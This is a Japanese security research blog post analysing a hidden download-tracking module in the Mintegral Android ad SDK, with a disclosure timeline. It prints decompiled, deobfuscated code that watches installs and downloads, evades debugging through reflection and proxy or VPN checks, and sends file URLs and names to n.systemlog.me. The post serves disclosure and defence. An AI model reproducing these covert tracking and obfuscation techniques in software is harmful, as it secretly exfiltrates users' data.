p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

エンコードされたパラメーターが2つあります。cleverとdviです。これらもデコードすると、興味深いことが分かりました。

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Google DriveアプリからダウンロードしたGoogleスプレッドシートのURLは、ulフィールドでバックエンドに送信され、ダウンロードしたファイル名はkwフィールドに含まれています。また、dviにはデバイスに関するデータが格納されています。

想定される用途

iOSの場合、クライアントのデバイスからMintegralのサーバー、さらにアトリビューションプロバイダー(MMP)へ、不正な重複クリックが送信されていました。今回の場合、ダウンロードまたはインストールされたAPKがサーバーに報告され、サーバー側のクリック生成に利用される可能性があります。次の図はデータの流れを示しています。

影響を受けたアプリ内の悪意あるMintegral SDKが、MintegralからAPKパッケージ名を受け取り、偽のクリックデータをアトリビューションプロバイダーに送信する様子を示す図。

Alphabモジュール

前述の挙動は、Mintegralが「最適化パッケージ」と説明していたalphabモジュールに含まれています。

Android向けMintegral SDKのインテグレーションガイド。SDKの初期化が選択され、ダウンロード可能なパッケージとその説明が表で表示されています。

記事の公開後、このモジュールはMintegralのサイトから削除され、配布されているSDKにも含まれなくなったようです。SDKを逆コンパイルし、この挙動の原因となるコードを特定しました。

AlphaCommonConstクラス

public final class AlphaCommonConst {

    /* renamed from: a */
    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */
    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */
    public static String f2c = "decode error";

    /* renamed from: d */
    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */
    /* compiled from: AlphaCommonConst */
    public static class C0000a {

        /* renamed from: a */
        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */
        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

このクラスには、多数のハードコードされた定数定義があります。一部の文字列は、iOS版で確認されたものと同様に、AlphabBase64Utilクラスにある独自のBase64ベースのエンコード方式で難読化されています。

デコードすると、次の文字列が得られます。

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

これらは、次に説明する初期化処理で使われています。

Alphabレシーバー

AlphabReceiverクラスのinit()メソッドでは、BroadcastReceiverが、先ほどの難読化された文字列の一部を使って初期化されています。

 try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

これらをデコード済みの文字列に置き換えると、次のコードになります。

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
		.invoke(context, alphab_receiver, intent_inst);

Java Reflection APIを使って新しいブロードキャストレシーバーが作成され、次の2種類のインテントを監視していることが分かります。

  • android.intent.action.PACKAGE_ADDED - デバイスへのパッケージのインストール時に発生する、システム全体に向けたインテント。

  • alphab_net_debug_action - ネットワークデバッグを検知すると思われるカスタムインテント。

インテントを受信すると、AlphabReceiverクラスがParseAndLoad()メソッドを構築します。

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

このフィールドは後で条件判定に使われます。

public final class ParseAndLoad {

    /* renamed from: a */
    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

if節にある他の2つのメソッドを逆コンパイルすると、現在のネットワーク接続がWi-FiプロキシまたはVPNクライアントを経由しているかどうかを確認していることが分かります。これは、アプリのデバッグや通信の傍受を防ぐためのものです。このインテントにより、SDKの開発者はこのデバッグ対策機能を回避できます。

Alphabオブザーバー

同様に、このContentObserverの初期化ブロックも、リフレクションと難読化された文字列の中に隠されています。

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

整理すると、次のようになります。

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
	.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

つまり、このContentObserverはcontent://downloads URIを監視するよう登録されており、デバイスにファイルがダウンロードされるたびに動作します。

Androidのダウンロードマネージャーに問い合わせ、公開ダウンロードを取得します。

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

文字列をデコードすると、次の内容が得られます。

cursor = aVar.f64b.getContentResolver()
		.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

ダウンロードURLが次のいずれかの条件を満たすと、https://n.systemlog.met/stlogへのレポートが生成されます。

  1. apkで終わる - 手動ダウンロードの場合。

  2. com.android.vendingに属するパッケージを参照する、またはURLにgoogle.comを含む - 条件に一致するGoogleアプリやブラウザーのURLをすべて検出します。

以下は、https://n.systemlog.met/stlogサーバーにリクエストを送信するコードスニペットです。

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

これは次の内容に相当します。

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

ここでは、例で取得したリクエストに含まれていたパラメーターを確認できます。

    static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p - ダウンロード対象のパッケージ名、つまりアプリ

  • v - アプリのバージョン

  • ul - ダウンロードしたファイルのURL

  • kw - ダウンロードしたファイル名

  • fl - ファイルサイズ

デモアプリ

「My Application」というタイトルのAndroidアプリ画面。書き込み権限、デバッグ設定、Googleロゴのダウンロード、APKのダウンロード用ボタンが表示されている。

この挙動を実証するため、次の操作ができるデモアプリを作成しました。

1. リフレクションを使ってネットワークデバッグフラグを有効にし、デバッグ対策を回避する

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. google.comを含むURLからファイルをダウンロードする

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. apkで終わるURLからファイルをダウンロードする

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

HTTPプロキシで送信リクエストを取得しました。ダウンロードボタンのいずれかをクリックすると、サーバーのエンドポイントへのリクエストが確認できます。

Burp Suite Community Editionで、リクエストヘッダーとエンコードされたフォームデータを含む、n.systemlog.meへのPOSTリクエストをインターセプトしている画面

追跡の挙動を示す動画をご覧ください。

Malicious Mintegral SDK Leaks Data on Android

タイムライン

日付

8月5日

Snykのリサーチチームが、Mintegral iOS SDKによる過剰なデータ収集とクリックの乗っ取りを発見

8月17日

Snykが調査結果をAppleに責任ある形で開示

8月24日

SnykがSour MintのiOSに関する調査結果を公開

8月25日

MintegralがSDKに関する疑惑を否定する声明を発表

9月3日

IronSourceがメディエーションプラットフォームからMintegralを削除すると発表

9月3日

MintegralがiOS SDKのバージョン6.5.0.0をリリースし、悪意のある隠された_CXX_CXX_OperationPKTaskコンポーネントを削除

9月4日

MoPub(Twitter)メディエーションプラットフォームが、プラットフォーム上でMintegralの認定を取り消すと発表

9月4日

MintegralがSDKをオープンソース化する計画を発表

9月4日

Snykのリサーチチームが、SDKのAndroid版に隠されたダウンロード追跡機能を発見

9月9日

SnykがAndroid SDKの調査結果をGoogleに責任ある形で開示

9月10日

MintegralがiOS SDKのバージョン6.6.0.0をリリースし、バックドアコンポーネントMTGRemoteCommandParserを削除

9月22日

SnykがiOS SDKのソースコード版バージョン6.6.0.0を入手し、差分分析を実施

9月23日

Snykが、MintegralがAndroid SDKからGoogleのダウンロード追跡モジュールを削除したことを確認

9月30日

差分分析により、SnykがSDKのiOS版にRCEを可能にするバックドアを発見

10月2日

Snykが新たなiOSの調査結果をAppleに責任ある形で開示

10月3日

Appleが影響を受けたパブリッシャーに通知し、RCEを可能にするコードの削除を要請

10月15日

SnykがiOSおよびAndroidの最新の調査結果を公開

カテゴリー:

続きを読む

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。

feature insights context
Blog

自律型攻撃はすでに始まっている。防御もそのスピードに追いつかなければならない。

自律型攻撃者によって、防御に使える時間は短くなっています。継続的な検出、修復、検証、予防で、セキュリティチームが攻撃に歩調を合わせる方法をご紹介します。

Blog

脆弱性のバックログはもはや技術的負債ではなく、攻撃対象領域です

増え続ける脆弱性のバックログは、単なる技術的負債ではありません。攻撃対象領域そのものです。古いリスクの前提、攻撃の自動化、そして連鎖する検出結果によって、なぜ新たなアプローチが求められているのかを解説します。